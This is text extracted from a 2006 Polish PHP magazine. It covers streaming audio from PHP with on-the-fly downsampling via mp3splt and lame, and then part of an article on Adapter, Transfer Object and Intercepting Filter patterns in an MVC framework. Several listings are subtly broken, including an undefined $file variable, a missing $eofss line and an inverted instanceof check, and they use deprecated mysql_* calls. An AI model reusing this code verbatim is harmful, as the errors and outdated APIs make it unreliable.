Tak jak w przypadku poprzednich skryptów, zaczniemy od połączenia z ba-zą. Następnie pobierzemy dane utworu z bazy danych za pomocą ID przekazanego do skryptu. Typ pliku ustawimy na podsta-wie rozszerzenia pliku odczytanego z po-la file w wynikach. Będzie to MP3, OGG lub FLAC — przygotujemy też odpowied-ni nagłówek Content-type (audio/mpeg, application/x-ogg lub audio/x-flac).

Page 26: PHP Solutions 03 2006 PL

streaming audio w PHP

www.phpsolmag.org26

Techniki

PHP Solutions Nr 3/2006

Strumieniowanie plikuMożemy wreszcie rozpocząć transmi-sję strumieniową pliku. Zrobimy to w ra-mach pętli while, która sprawdzi począ-tek i koniec pliku lub ewentualnie prze-rwane połączenie, odczyta 8192 bajtów z pliku i poda dane wyjściowe za po-mocą print(). Nasza aplikacja jest go-towa.

DownsamplingSkoro nasza aplikacja jest ukończo-na i działa bez zarzutu, powinniśmy wy-posażyć ją w dodatkową funkcję down-samplingu, czyli możliwość zmniejsza-nia częstotliwości próbkowania utworu. Funkcja taka może być przydatna pod-czas przygotowywania audycji interne-towych niskiej jakości, np. w przypadku wolnego łącza lub gdy chcemy prezen-tować wersje demonstracyjne płatnych utworów.

Ampache wykorzystuje LAME do ob-niżania częstotliwości próbkowania pli-ków dźwiękowych (patrz Ramka Down-sampling za pomocą zewnętrznych pro-gramów). Ponieważ plik zostanie ponow-nie zakodowany, wyszukiwanie wyma-ga, abyśmy użyli dodatkowego programu o nazwie mp3splt. Przeprowadzenie do-wnsamplingu w locie wymaga niewielkiej modyfikacji kodu z Listingu 4. Po pierw-sze musimy ręcznie ustawić pewne zwią-zane z utworem zmienne (skrypt nie bę-dzie uniwersalny, ale można go łatwo roz-budować):

l bitrate ($song _ bitrate),l częstotliwość próbkowania ($sample _

rate),l czas trwania ($song _ time).

Listing 4. Zawartość /play.php

<?php

$dbh=mysql_connect('localhost','user','password') or die ('BŁĄD: nie można połączyć się z bazą danych');

$sql="SELECT file FROM music WHERE id='" . sql_escape($_REQUEST['song_id'])."'";$db_results = mysql_query($sql, $GLOBALS['dbh']);$results = mysql_fetch_assoc($db_results);$filename = $results['file'];

$info = pathinfo($filename);

$extension = $info['extension'];

switch ($extension) { case 'mp3': $content_type = "audio/mpeg"; break; case 'ogg': $content_type = "application/x-ogg"; break; case 'flac': $content_type = "audio/x-flac";

$extension = "ogg"; break;}header('Content-type: ' . $content_type . ';');header('Content-Disposition: filename=song.' . $extension);set_time_limit(0);set_magic_quotes_runtime(0);$fp = @fopen($file,'r');

header('Accept-Ranges: bytes');header('Content-Length: ' . filesize($filename));$startArray = sscanf($_SERVER['HTTP_RANGE'],"bytes=%d-");

$start_offset = $startArray['0'];

If ($start_offset) { fseek($fp, $start_offset); $range = $start_offset . '-' . $filesize . '/' . $filesize;

header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes=$range");}

while (!feof($fp) && (connection_status() == 0)) { $buf = fread($fp,8192);

print($buf);}

@fclose($fp);?>

Rysunek 2. Próba otwarcia pliku dźwiękowego w przeglądarce

plik z utworem. Jeżeli opcja PHP Safemode ma wartość On, funkcja set_time_limit() nie zadziała. Jedynym obejściem tego problemu poza wyłączeniem Safemode jest zwiększenie max_execution_time w php.ini.

Powinniśmy również wysłać inną pa-rę nagłówków: Accept-Ranges: i Content-Length:. Są one potrzebne do wyszukiwa-nia określonego miejsca w pliku. Accept_Ranges: bytes informuje aplikację klienc-ką, że może zażądać określonego zakre-su bajtów pliku. Bez tego nagłówka więk-szość odtwarzaczy nie będzie umożliwiać wyszukiwania. Nagłówek Content-Length pomaga aplikacji klienckiej ustalić dłu-gość pliku.

Po otwarciu pliku sprawdzamy po-czątkowy offset żądanego bajtu ($start_offset). Jeżeli zostanie on znalezio-ny, użyjemy funkcji PHP fseek() w celu przeskoczenia do danej części pliku. Je-żeli używana jest funkcja fseek(), mu-

simy także dodać nagłówki 206 Partial

Content i Content-Range – dzięki temu klient będzie wiedzieć, że nie otrzymuje całego pliku oraz będzie znać początek zawartości.

Page 27: PHP Solutions 03 2006 PL

streaming audio w PHP

www.phpsolmag.org 27

Techniki

PHP Solutions Nr 3/2006

Dodatkowe informacje, takie jak bitratei długość utworu, można zebrać przy uży-ciu biblioteki getid3().

Po wysłaniu pierwszych dwóchnagłówków (Content-type i Content-

Disposition) obliczymy sample_rationa podstawie częstotliwości próbkowa-nia oraz ustawione próbkowanie pio-senki:

if (($sample_rate*1000)>$song_bitrate){

$sample_rate = $song_bitrate/1000;

$sample_ratio = '1';

} else {

$sample_ratio = $sample_rate/

($song_bitrate/1000);

}

Taka metoda obliczeń gwarantuje, że częstotliwość próbkowania nie zostanie zwiększona.

Następną modyfikację należy wpro-wadzić po wysłaniu kolejnych dwóch nagłówków (Accept-Ranges i Content-

Length). Zmienimy sposób obliczania of-fsetu ($offset), biorąc pod uwagę zdefi-niowany czas trwania ($song_time) i pro-porcje próbkowania ($sample_ratio).

$offset = ( $start*$song_time )/

( $sample_ratio*filesize($filename));

$offsetmm = floor($offset/60);

$offsetss = floor($offset-$offsetmm*60);

$offset = sprintf("%02d.%02d",

$offsetmm,$offsetss);

Kolejny fragment kodu zajmie się pobra-niem danych o końcu pliku (EOF) w minu-tach I sekundach:

$eofmm = floor($song_time/60);

$eofmm = floor($song_time/60);

$eof = sprintf("%02d.%02d",$eofmm,$e

ofss);

Spróbujmy teraz przeprowadzić down-sampling pliku za pomocą zwenętrznych aplikacji – mp3splt i lame. Zanim zacznie-my, oczyśćmy łańcuch z nazwą pliku, aby zapobiec błądom lub niechcianemu wyko-nywaniu poleceń:

$song_file = escapeshellarg($filename);

Przygotujmy polecenie dotyczące down-samplingu:

$downsample_command = “mp3splt -qnf

$song_file $offset $eof -o - | “ .

“ lame --mp3input -q 3 -b

$sample_rate -S - -“;

I wykonajmy je poprzez otwarcie stru-mienia (zastępuje to otwarcie pliku z po-przedniego przykładu): użyjemy popen() zamiast fopen(), ponieważ uruchomienie wyrażenia jest procesem, a nie plikiem:

$fp = @popen($downsample_command, 'r');

Ostatnim krokiem jest rozpoczęcie trans-misji strumieniowej, w taki sam sposób, jak poprzednio. Po ukończeniu proces mu-si zostać zamknięty funkcją @pclose($fp) zamiast użytej wcześniej fclose(). To wszystko – nasz skrypt działa bez zarzutu.

Na Listingu 5 zaprezentowano skrypt do transmisji strumieniowej umożliwia-jący downsampling, pozbawiony jedynie początkowych operacji na bazie danych i wyboru rozszerzenia pliku (są one takie, jak na Listingu 4). Kompletny kod źródło-wy można pobrać z naszej strony interne-towej (http://www.phpsolmag.org).

PodsumowanieUdowodniliśmy, że do stworzenia serwera transmisji strumieniowych wystarczy PHP, Apache i baza danych. Te same pomysły można zastosować przy tworzeniu serwe-ra transmisji wideo. Choć nasz przykład jest względnie prosty, zapewnia solidne wpro-wadzenie do świata transmisji multimedial-nych. Przykład można rozwinąć, tworząc zaawansowany portal muzyczny (z kilkoma modyfikacjami) lub nadając audycje wideo. Niezależnie od wyboru należy pamiętać, że te tajemnicze transmisje strumieniowe pole-gają jedynie na manipulacji nagłówkami. n

Karl Vollmer jest głównym dewelope-rem i liderem projektu Ampache od roku 2003. Był także jednym z dwóch głów-nych deweloperów projektu OSUOSL. Obecnie pracuje dla College of Forestry na Uniwersytecie Stanowym w Oregon.

O autorze:

Listing 5. Zawartość /play.php with downsampling

<?php

...

// podanie nagłówków w oparciu o typ pliku

header('Content-type: ' . $content_type . ';');header('Content-Disposition: filename=song.' . $extension);// ustawienie częstotliwości próbkowania i uniknięcie jej zwiększania

if (($sample_rate*1000) > $song_bitrate) { $sample_rate = $song_bitrate/1000;

$sample_ratio = '1';

} else { $sample_ratio = $sample_rate/($song_bitrate/1000); }set_time_limit(0);set_magic_quotes_runtime(0);// informacja dla przeglądarki, że może określić zakres bajtów

header('Accept-Ranges: bytes');header('Content-Length: ' . $sample_ratio*filesize($filename));// pobranie offsetu, długość utworu taka jak w $song_time

$offset = ( $start*$song_time )/( $sample_ratio*filesize($filename));$offsetmm = floor($offset/60);$offsetss = floor($offset-$offsetmm*60);$offset = sprintf("%02d.%02d",$offsetmm,$offsetss);$eofmm = floor($song_time/60);$eofss = floor($song_time-$eofmm*60);$eof = sprintf("%02d.%02d",$eofmm,$eofss);$song_file = escapeshellarg($filename);

$downsample_command = "mp3splt -qnf $song_file $offset $eof -o - | ".

" lame --mp3input -q 3 -b $sample_rate -S - -";

// użycie popen, ponieważ otwieramy proces, a nie plik

$fp = @popen($downsample_command, 'r');// Strumieniowanie pliku

while (!feof($fp) && (connection_status() == 0)) { $buf = fread($fp,8192); print($buf);}

@pclose($fp);

?>

Page 28: PHP Solutions 03 2006 PL

www.phpsolmag.org28

Techniki

PHP Solutions Nr 3/2006

Wzorce projektowe

www.phpsolmag.org 29

Techniki

PHP Solutions Nr 3/2006

W poprzednim artykule na przy-kładzie prostego frameworka MVC pokazaliśmy wam, jak

w praktyce można zaimplementować trzy wzorce programistyczne: Strategy, Com-posite i Decorator. Posłużyły nam one do zbudowania klasy FrontControllerImpl, implementującej wzorzec architektonicz-ny FrontController.

W tym artykule zaprezentujemy wam, jak w naszym framewroku można wyko-rzystać wzorce Adapter, Transfer Object i Intercepting Filter. Pokażemy, jak stosu-jąc kompozycję i delegację można rozbu-dować funkcjonalność klasy FrontControl-lerImpl.

Zanim przejdziemy do omawia-nia wspomnianych wzorców wprowa-dzimy drobne zmiany w klasie Front-ControllerImpl. Na Listingu 1a poka-zana jest implementacja nowej wersji tej klasy. Zmiany wydają się dość po-ważne, ale są łatwe do wytłumacze-nia.

Czytelny i przejrzysty kod. Elastyczna i w każdym momencie gotowa na rozbudowę architektura. Bogata, dodawana w elegancki sposób funkcjonalność. I w końcu najlepsze praktyki programowania obiektowego w PHP5. Poznaj trzy kolejne omówione w tym artykule wzorce projektowe.

Nazwane wyjątki – dlaczego warto je stosowaćPo pierwsze dodaliśmy trochę kodu sprawdzającego poprawność zwraca-nych obiektów. PHP nie jest językiem ścisłego typowania, lepiej więc się za-bezpieczyć i sprawdzić, czy zwracane informacje są właściwego typu. O po-jawieniu się błędu informujemy poprzez

Wzorce projektowe w akcji, czyli ciąg dalszy Niezbędnika dewelopera PHPPiotr Szarwas

W SIECI

1. http://flexi.sourceforge.net/ – tu umieściliśmy tworzony przez nas Framework

2. http://www.artima.com/designtechniques/compoinh.html – kiedy sto-sować kompozycję, a kiedy dziedziczenie

3. http://www.zend.com/php/design/ – projektowanie apli-kacji w PHP5

4. http://www.developer.com/design/article.php/3345121 – implementacja wzorców projektowych w PHP5

Stopień trudności: lll

Co należy wiedzieć...Powinieneś znać podstawy programo-wania obiektowego w PHP5. Przydatna będzie również lektura artykułu wprowa-dzającego w tematykę wzorców projekto-wych, który ukazał się w poprzednim nu-merze PHP Solutions.

Co obiecujemy...Poznasz trzy kolejne wzorce projektowe (Adapter, Transfer Object i Intercepting Filter) i ich praktyczne wykorzystanie w rozbudowie naszego frameworka.

Page 29: PHP Solutions 03 2006 PL

www.phpsolmag.org28

Techniki

PHP Solutions Nr 3/2006

Wzorce projektowe

www.phpsolmag.org 29

Techniki

PHP Solutions Nr 3/2006

rzucanie odpowiednich wyjątków. Są to tzw. nazwane wyjątki. Dzięki określeniu typu każdego z wyjątków kod jest czytel-niejszy i sam się dokumentuje. Typowa-ne wyjątki pozwolą też na elastyczniej-szą reakcję na błędy. W ramce Konwen-cje kodowania możecie dodatkowo prze-czytać, dlaczego nazwane wyjątki są ta-kie ważne.

Request Object / Transfer ObjectZmieniliśmy też wymagania dotyczące metody doAction. Chcemy, aby zwró-ciła ona obiekt klasy ModelAndView lub wartość null. Zmiana ta nie wymaga na szczęście zmiany interfejsu MVCAc-tion. Teraz akcje nie będą same ren-derować warstwy prezentacji, a jedynie w postaci klasy ModelAndView dostar-czać front kontrolerowi wszystkich infor-macji potrzebnych do wyrenderowania strony: logiczną nazwę szablonu i dane do prezentacji. Logiczne nazwy szablo-nów to nazwy, które nie będą przywią-zane do żadnego mechanizmu rende-rowania stron. Nie są to np. nazwy pli-ków z szablonami Smarty lub PHPTAL. W dalszej części artykułu pokażemy wam, dlaczego tak jest i jak przekształ-cić te informacje na obiekty, które będą potrafiły wygenerować kod HTML. Pod-sumowując można powiedzieć, iż kla-sa ModelAndView jest swojego rodzaju kontenerem. Jej implementacja znajdu-je się na Listingu 1b. Rozszerza ona kla-sę NameValuePairHolder, która opako-wuje tablicę asocjacyjną, przechowują-cą wszystkie dane przekazywane z akcji do front kontrolera. Pełna implementacja klasy NameValuePairHolder znajduje się w kodzie dołączonym do artykułów. Za-stosowanie klasy ModelAndView jest pew-

nego rodzaju programistycznym trikiem. Stosując obiekty do wymiany danych pomiędzy różnymi warstwami aplikacji, przygotowujemy kod na przyszłe zmia-ny formatu komunikacji pomiędzy tymi warstwami, bez potrzeby zmiany inter-fejsów komunikujących się metod. Spró-bujmy wyjaśnić to na przykładzie klasy HttpRequest.

Klasa ta pełni podobną funkcję jak ModelAndView, czyli jest kontenerem da-nych przekazywanych pomiędzy war-stwami aplikacji (Rysunek 1). Wyobraź-cie sobie, że pojawiła się potrzeba, aby akcje dostawały informacje o języku (polski, angielski, itp.), w którym zosta-nie wygenerowana strona. Język, w ja-kim ma być wyrenderowana strona, de-finiowany jest w front kontrolerze. Pierw-sze co przychodzi nam do głowy, to zmiana interfejsu MVCAction i dodanie

do metody doAction informacji o języ-ku. Ale to oznacza, że będziemy musie-li zmienić implementację tej metody we wszystkich istniejących już akcjach. A te-go z całą pewnością nie chcemy, poza tym nie wszystkie akcje potrzebują ję-zyka do swojego poprawnego działania. Kolejnym pomysłem może być dodanie do interfejsu MVCAction kolejnej meto-dy np. doActionWithLangSupport, w któ-rej jako drugi parametr będziemy poda-wać język. Ale teraz pojawia się kolej-ny problem jak w front kontrolerze pod-jąć decyzję, którą metodę mamy wyko-rzystać. Tak więc żadne z tych rozwią-zań nie jest dobre. Istnieje jednak du-żo prostsze rozwiązanie – dodanie do klasy HttpRequest metody getLocale. Dzięki temu Front Controller pozosta-nie bez zmian. Interfejs MVCAction rów-nież. Dodatkowo każda akcja, która bę-dzie do swojego działania potrzebować języka pobierze go sobie z HttpRequest.Z przytoczonego rozwiązania płynie pro-sty wniosek: wszędzie, gdzie spodzie-wacie się, że mogą pojawić się zmiany interfejsu do przekazywania danych do metod, stosujcie obiekty lub tablice aso-cjacyjne. Dzięki temu wasz kod będzie bardziej odporny na zmiany.

Omawiany problem chyba nigdy nie doczekał się swojej nazwy jako wzorzec. My postanowiliśmy zapożyczyć nieformal-nie nazwę z innego wzorca i ochrzcić nasz trik nazwą Transfer Object.

Konwencje KodowaniaW sekcji tej chcielibyśmy pokrótce opisać konwencje kodowania, jakie będziemy sto-sować podczas pisania wszystkich artykułów:

• Będziemy się starali, aby tam gdzie jest to możliwe, zmienne klas były prywatne, jeżeli wymagać będzie tego architektura będą one typu protected. Z całą pewno-ścią będziemy się starać, aby nie były one publiczne. Zmienne publiczne powodu-ją, że kod przestaje być odporny na zmiany.

• Praktycznie w każdym miejscu jako dostępu do zmiennych klasy będziemy starali się wykorzystywać tzw. settery i gettery (dostęp do zmiennych składowych przy pomocy _ _ get i _ _ set). Dzięki temu kod jest bardziej odporny na zmiany.

• Konwencja nazewnictwa metod i zmiennych została zapożyczona z Javy, a do-kładniej ze specyfikacji JavaBeansów.

• Jako podstawowy model obsługi błędów wykorzystaliśmy wyjątki. Dodatkowow każdym miejscu, w którym rzucany był wyjątek, nie był on generycznego ty-pu. Wyjątki pełnią w kodzie kilka funkcji: informują o wystąpieniu błędu, swoim typem informują o typie błędu, ich jasne nazwy pełnią funkcję dokumentacji. Tak więc zawsze starajcie się stosować nazwane wyjątki, a nie bezpośrednio klasę Exception.

• Wszędzie, gdzie jest to możliwe, stosujemy silne typowanie. Ogranicza to pew-nie ograniczenie stosowalności naszego frameworka do PHP 5.0, a w niektórych miejscach do PHP 5.1. Z naszego doświadczenia wynika jednak, że w przypadku frameworków silne typowanie powoduje, że popełniamy mniej błędów.

���������������

����������������

�����������������������

Rysunek 1. Przepływ danych pomiędzy różnymi warstwami aplikacji z wykorzystaniem pojedynczego obiektu jako kontenera danych

Page 30: PHP Solutions 03 2006 PL

Wzorce projektowe

www.phpsolmag.org30

Techniki

PHP Solutions Nr 3/2006

FrontController – jak kompozycją zwiększyć jego możliwości Po drobnych zmianach, które wprowa-dziliśmy na Listingu 1b nasz Front Con-troller jest gotowy do dalszej przebudo-wy. Zaczniemy od tego, że Front Con-troller i akcje powinny być napisane tak, by żadne z nich nie było odpowiedzialne za wyświetlenie „strony” dla użytkowni-ka. Poprzez stronę rozumiemy dowolną formę prezentacji HTML, XML, CSV lub

PDF. Odpowiedzialność za odnalezie-nie i wygenerowanie strony przekażemy klasom implementującym interface View. Za utworzenie i odnalezienie odpowied-niego widoku odpowiedzialne będą kla-sy implementujące interfejs ViewReso-lvingStrategy. Zbudowane w ten sposób API będzie można łatwo rozszerzać do-dając kolejne klasy typu ViewResolving-Strategy i kolejne klasy widoków. Listing 2a prezentuje interfejsy View i ViewRe-solver, Listing 2b zawiera ich przykłado-

wą implementacje dla Smarty, a Listing 4 nową wersję Front Controllera. Listing 4zawiera szereg klas, które nie zostały jeszcze omówione, ale nie martwcie się – po lekturze całego artykułu wszystko, co jest na tym Listingu, powinno być zro-zumiałe. Podział na ViewResolvingStra-tegy i View jest powtórką rozwiązania zaprezentowanego w poprzednim arty-kule, tam posłużyliśmy się nim do odnaj-dywania akcji. Architektura ta wydaje się nam na tyle użyteczna, że powtórzymy ją jeszcze raz.

Wyobraźcie sobie, że tworzycie apli-kację, która jako jedno ze swoich wy-magań ma możliwość działania w wielu wersjach językowych, przy czym klient nie zdefiniował, ile to będzie wersji. Klient chciałby też móc w prosty sposób tworzyć kolejne wersje językowe napisa-nej przez was aplikacji. Należy więc do naszego frameworka dodać mechanizm zarządzania internacjonalizacją aplika-cji. Problem ten sprowadzimy do napi-sania kilku klas implementujących inter-fejs LocaleResolvingStrategy, które bę-dą zawsze zwracać obiekty typu Loca-le. Obiekty typu Locale będą przekazy-wane do innych klas, które będą umia-

Listing 1a. Ulepszona klasa FrontControllerImpl

class FrontControllerImpl implements FrontController {

private $actionResolvingStrategy;

public function __construct(ActionResolvingStrategy $actionResolvingStrategy) {

$this->setActionResolvingStrategy($actionResolvingStrategy);

}

public function doService(HttpRequest $request) {

$actionClass = $this->getActionResolvingStrategy()->resolveAction($reques

t);

if ( is_null( $actionClass ) ) {

throw new ActionDoesNotExistsException('Nie znaleziono akcji do wykonania');

}

if ( $actionClass instanceof MVCAction ) {

throw new WrongReturnTypeException('Zwrócony obiekt nie jest typu MVCAction');

}

$modelAndView = $actionClass->doAction($request);

if ( !is_null( $modelAndView ) && !($modelAndView instanceof ModelAndView) )

{

throw new WrongReturnTypeException('Zwrócony obiekt nie jest typu ModelAndView');

}

return $modelAndView; }

//gettery i settery

private function getActionResolvingStrategy() {

return $this->actionResolvingStrategy; }

private function setActionResolvingStrategy(ActionResolvingStrategy $actionResolvingStrategy)

{

$this->actionResolvingStrategy = $actionResolvingStrategy;

}

}

Listing 1b. Implementacja klasy ModelAndView

class ModelAndView extends NameValuePairHolde

{

private $template;

private $view = null;

public function setView(View $view)

{

$this->view = $view;

}

public function getView() {

return $this->view; }

public function setTemplate($templateName)

{

$this->template = $templateName;

}

public function getTemplate() {

return $this->template; }

}

Page 31: PHP Solutions 03 2006 PL

Wzorce projektowe

www.phpsolmag.org 31

Techniki

PHP Solutions Nr 3/2006

ły je wykorzystać. Takim przykładem jest dowolna klasa typu ViewResolvingStra-tegy, która w zależności od Locale może zwrócić inny plik szablonu. Przykładowe implementacje interfejsów LocaleReso-lvingStrategy i klasy Locale pokazane są na Listingach 3a i 3b.

Tworząc szereg małych klas, któ-re specjalizują się w wykonywaniu pro-stych pojedynczych zadań czynimy nasz framework bardzo elastycznym i goto-wym na rozszerzenia. Dodatkowo ma-łe klasy są łatwe w zrozumieniu i testo-waniu. Klasa FrontControllerImpl wraz z implementacjami różnych interfejsów typu ResolvingStrategy jest idealnym przykładem na to, jak zasada kompozy-cji obiektów może spowodować, że nie-wielki rozmiarami kod potrafi wykonywać bardzo skomplikowane zadania. Wy-obraźcie sobie, jak trudnym byłoby na-pisanie tego kodu, gdyby zawierał się on w jednej dużej klasie, taki kod były najprawdopodobniej nieczytelny i trudny do przetestowania. Przykład FrontCon-trollerImpl pokazuje, że zaawansowanyw swoim działaniu kod nie musi być skomplikowany – wystarczy jedynie, aby istniały złożone relacje pomiędzy prosty-mi obiektami.

Kompozycja nie zawsze jest naj-lepszym rozwiązaniem. Podobnie jak dziedziczenie, należy ją stosować z rozwagą. Pojawia się więc pytanie, kiedy należy stosować kompozycję a kiedy dziedziczenie. Ciężko jest jed-noznacznie odpowiedzieć na to pytanie, szczególnie w ramach artykułu. Istnieje pewien zestaw wskazówek, o których można przeczytać pod adresem: http://www.artima.com/designtechniques/compoinh.html.

AdapterNa Listingu 5a pokazana jest implemen-tacja klasy MCacheActionResolverStrategy, którą stworzyliśmy we wcześniejszej części artykułu. Klasa ta zwraca na pod-stawie nazwy obiekt akcji, który został zapisany w cache'u. Jeżeli obiekt nie zo-stanie odnaleziony w cache'u, rzucany jest wyjątek. Jako mechanizm cachowa-nia wykorzystany został memcache. Wy-obraźmy sobie teraz, że pojawia się na-gle potrzeba zaimplementowania inne-go mechanizmu cachowania, np. znane-go chyba wszystkim CacheLite. Problem ten możemy rozwiązać na kilka sposo-bów. Najprościej byłoby skopiować kod

Listing 2a. Interfejsy View i ViewResolver

interface ViewResolvingStrategy

{

public function resolveView($viewName, Locale $locale);}

interface View

{

public function render(array $data);}

Listing 2b. Przykładowa implementacja interfejsów View i ViewResolver dla Smarty

class SmartyViewResolvingStrategy implements ViewResolvingStrategy {

private $renderingEngine;

private $tplPath;

private $tplPrefix;

private $tplSuffix;

public function __construct(Smarty $smartyEngine, $tplPath, $tplPrefix = '', $tplSuffix = '.tpl.html')

{

$this->setRenderingEngine($smartyEngine);

$this->setTplPath($tplPath);

$this->setTplPrefix($tplPrefix);

$this->setTplSuffix($tplSuffix);

}

public function resolveView($viewName, Locale $locale) {

$fileName = $this->getTplPath().'/'.$this->getTplPrefix().$viewName;

if ( $locale != null && $locale->getLang() != '' ) {

$fileName .= '_'.$locale->getLang();

}

$fileName .= $this->getTplSuffix();

$this->getRenderingEngine()->template_dir = dirname($fileName);

return new SmartyView($this->getRenderingEngine(), 'file:'.$fileName); }

// gettery i settery zostały pominięte

}

class SmartyView implements View{

private $renderingEngine = null;

private $tplFile;

public function __construct(Smarty $renderingEngine, $tplFile) {

$this->setRenderingEngine($renderingEngine);

$this->setTplFile($tplFile);

}

public function render(array $data) {

$this->getRenderingEngine()->clear_all_assign();

$this->getRenderingEngine()->assign($data);

return $this->getRenderingEngine()->fetch($this->getTplFile()); }

// gettery i settery zostały pominięte

}

Page 32: PHP Solutions 03 2006 PL

Wzorce projektowe

www.phpsolmag.org32

Techniki

PHP Solutions Nr 3/2006

Listing 3a. Przykładowa implementacja interfejsu LocaleResolvingStrategy

class Locale{

private $langCode;

public function __ construct($langCode) {

$this->setLangCode($langCode);

}

public function getLangCode() {

return $this->langCode; }

private function setLangCode($langCode) {

$this->langCode = $langCode;

}

}

interface LocaleResolvingStrategy

{

public function resolveLocale(HttpRequest $request); }

Listing 3b. Przykładowa implementacja klasy Locale

class RequestParamLocaleResolvingStrategy

implements LocaleResolvingStrategy

{

private $requestKey;

private $defaultLangCode;

public function __construct($requestKey, $defaultLangCode)

{

$this->setRequestKey($requestKey);

$this->setDefaultLangCode($defaultLangCode);

}

public function resolveLocale(HttpRequest $request) {

$lang = $request->getVar($this->getRequestKey());

if ($lang == '') {

$lang = $this->getDefaultLangCode();

}

return new Locale( $lang ); }

// gettery i settery zostały pominięte

}

Listing 4. Nowa wersja Fron Controllera. Zastosowanie kompozycji zwiększa jego możliwości

class FrontControllerImpl implements FrontController {

private $actionResolvingStrategy;

private $viewResolvingStrategy;

private $localeResolvingStrategy;

public function __construct( ActionResolvingStrategy $actionResolvingStrategy,

ViewResolvingStrategy $viewResolvingStrategy,

LocaleResolvingStrategy $localeResolvingStrategy)

{

$this->setActionResolvingStrategy($actionResolvingS

trategy);

$this->setViewResolvingStrategy($viewResolvingStra

tegy);

$this->setLocaleResolvingStrategy($localeResolvingS

trategy);

}

public function doService(HttpRequest $request) {

$result = null;

try

{

$this->filter->doPreProcessing($request);

$locale = $this->getLocaleResolvingStrategy()->

resolveLocale($request);

$actionClass = $this->getActionResolvingStrateg

y()->

resolveAction($request);

$modelAndView = $actionClass->doAction($request);

$viewObj = $modelAndView->getView();

if ( !($viewObj instanceof View) ) {

$viewObj = $this->getViewResolvingStrategy()->

resolveView($modelAndView->getTemplate(),$l

ocale);

}

$result = $viewObj->render($modelAndView-

>getAllVariables());

$this->filter->doPostProcessing( $request,

$modelAndView );

return $result; }

catch( Exception $exception )

{

$this->filter->doExceptionProcessing(

$exception, $request, $modelAndView);

}

}

// gettery i settery zostały pominięte

}

Page 33: PHP Solutions 03 2006 PL

Wzorce projektowe

www.phpsolmag.org 33

Techniki

PHP Solutions Nr 3/2006

klasy MCacheActionResolverStrategy

i przystosować ją do działania z no-wym mechanizmem cachowania. Czyn-ność tę można powtarzać dalej, tzn.w momencie, gdy będziemy chcieli do-dać kolejny mechanizm cachowania ponownie skopiujemy kod i utworzy-my kolejną klasę implementującą in-terfejs ActionResolverStrategy. I w tym momencie w naszych głowach powin-no zapalić się czerwone światełko, pod którym powinien migać napis Czy aby to najprostsze rozwiązanie jest najlep-sze. Naszym zdaniem nie.

Za każdym razem, gdy w waszym kodzie pojawia się potrzeba skopiowa-nia kodu, powinniście się dobrze zasta-nowić, czy nie można tak zmienić kodu, aby go nie powtarzać. Zduplikowany kod jest jednym z największych wrogów każ-dego programisty. Jak więc rozwiązać ten problem? Najlepiej byłoby uniezależ-nić się od implementacji jakiegokolwiek mechanizmu cachowania obiektów. Po-służy nam do tego wzorzec Adapter. Kod naszego frameworka będzie zależny je-dynie od interfejsu CacheService imple-mentowanego przez klasy, za którymi ukryta będzie obsługa mechanizmów ca-chowania. Na Listing 5b prezentuje kla-se CacheActionResolverStrategy, która może pobierać obiekty z dowolnego me-chanizmu cachującego implementujące-go interfejs CacheService. Aby cacho-wanie ponownie zadziałało, potrzebuje-my teraz jedynie adapterów, które będą delegować działanie do Memcacha i Ca-cheLita. Listing 5c pokazuje implementa-cję Adaptera dla CacheLite.

Dzięki oddzieleniu API mechani-zmów cachujących od klas ActionRe-soverów udało się stworzyć mechanizm cachowania wspólny dla całego frame-worka. Teraz w dowolnym miejscu, w którym będzie potrzebne cachowanie obiektów, wystarczy, że będziemy wy-magać klasy implementującej interfejs CacheService.

Drugim przykładem wykorzystania wzorca Adapter jest interfejs View opi-sany powyżej. W środowisku PHP istnie-je kilka szablonów renderujących strony. Najbardziej znany to oczywiście Smar-ty, ale sporo zwolenników ma też PHP-TAL. Ponadto, pamiętajmy, że dane, któ-re przesyłamy do użytkowników, nie za-wsze muszą mieć postać stron HTML, czasami mogą to być pliki CSV, XML, a nawet PDF-y. Nie jesteśmy więc w sta-

Listing 5a. Implementacja klasy McacheActionResolverStrategy

class MCacheActionResolverStrategy implements ActionResolvingStrategy {

private $_actionRequestParamName;

private $_memcache;

public function __construct($actionRequestParamName, $memcacheHost, $memcachePort)

{

$this->_actionRequestParamName = $actionRequestParamName;

$this->_memcache = new Memcache(); $this->_memcache->connect($memcacheHost, $memcachePort);

}

public function resolveAction(HttpRequest $request) {

$actionName = $request->getParam($this->_actionRequestParamName);

if ($actionName != '') {

return $this->_memcache->get($actionName); }

else {

throw new RuntimeException('Nie wyspecyfikowano akcji do wywołania!'); }

}

}

Listing 5b. Klasa CacheActionResolverStrategy, która może pobierać obiekty z dowolnego mechanizmu cachującego implementującego interfejs CacheServiceinterface CacheService

{

public function set($key,$data); public function get($key); public function remove($key); public function exists($key);}

class CacheActionResolverStrategy implements ActionResolvingStrategy {

private $actionRequestKey;

private $cacheService;

public function __construct($actionRequestKey, CacheService $cacheService) {

$this->setActionRequestKey($actionRequestKey);

$this->setCacheService($cacheService);

}

public function resolveAction(HttpRequest $request) {

$actionName = $request->getVar($this->getActionRequestKey());

if ($this->getCacheService()->exists($actionName)) {

return $this->getCacheService()->get($actionName); }

else {

throw new ObjectDoesnotExistsInCacheException( 'Nie wyspecyfikowano akcji do wywołania!');

}

}

// gettery i settery zostały pominięte

}

Page 34: PHP Solutions 03 2006 PL

Wzorce projektowe

www.phpsolmag.org34

Techniki

PHP Solutions Nr 3/2006

nie wybrać jednego mechanizmu ren-derowania szablonów dla naszego fra-meworka, bo nie ma takiego, który speł-niałby oczekiwania wszystkich. Dlate-go klasy implementujące interfejs View są adapterami mechanizmów renderują-cych strony do różnych postaci.

Intercepting FilterPisząc aplikację często zdarza się, że pewne operacje musimy powtarzać w każdym skrypcie na jego początku i koń-cu (ang. preprocessing i postproces-sing). Należą do nich na przykład otwie-ranie połączenia do bazy i rozpoczyna-nie transakcji lub też otwieranie sesji. Tam gdzie dostęp do stron jest chronio-ny hasłem, jedną z pierwszych operacji, jaką wykonujemy, jest sprawdzanie czy osoba, która wywołuje daną stronę, jest zalogowana.

Jeżeli korzystamy z jakiegoś fra-meworka MVC nasz problem sprowa-dza się do wprowadzania odpowiednie-go kodu w pliku, który wywołuje Front Controller. Jeżeli aplikacja składa się z niezależnych skryptów, możemy w każ-dym z nich umieszczać odpowiednie in-cludy – będą one wykonywać pożądane przez nas działania. Każde z tych roz-wiązań ma swoje wady i zalety. W przy-

Listing 5c. Implementacja Adaptera dla CacheLite.

class CacheLiteCacheService {

private $cacheEngine;

public function __construct(array $options) {

